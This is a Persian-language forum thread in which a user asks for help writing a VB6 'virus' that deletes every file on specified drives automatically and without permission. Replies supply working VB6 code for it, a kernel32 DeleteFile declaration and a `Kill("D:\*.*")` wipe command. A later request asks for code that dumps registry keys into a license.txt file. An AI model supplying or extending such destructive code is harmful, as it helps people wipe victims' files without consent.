سلام.من میخواستم ویروسی بنویسم که تمامی فایل ها رو از درایو های ذکر شده حذف کنه(به طور اتوماتیک و بدون اجازه) با vb6
سلام.من میخواستم ویروسی بنویسم که تمامی فایل ها رو از درایو های ذکر شده حذف کنه(به طور اتوماتیک و بدون اجازه) با vb6
این که ویروس نویسی نیست این ...... ریزیه :دی
سلامنقل قول:
از این تابع استفاده کن
باید مسیر رو بهش ارسال کنیکد:Private Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
مثال
البته از با تابع Kill هم میتونی این کار رو بکنیکد:Private Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Private Sub Command1_Click()
DeleteFile "d:\New Folder\d.bmp"
End Sub
مثل
اما همیشه انتظار نداشته باش که به طور قطعی جواب بگیری!کد:Private Sub Command1_Click()
Kill ("D:\*.*")
End Sub
برنامه ای می خام که وقتی اجرا شد مسیر خودشو تشخیص بده و محتوای کلیدهای زیر را در یک فایل license.txt در مسیرخودش و در یک پوشه ذخیره کنه
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\Cen tralProcessor\0
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\App Management
نقل قول:
چی شد پس ....................
یادمه قبلا هر چی پست در مورد ویروس بود حذف می شد !!!!!!
از توابع api استفاده کن کارتو راه میندازه هم واسه پاک کردن هم رجیستری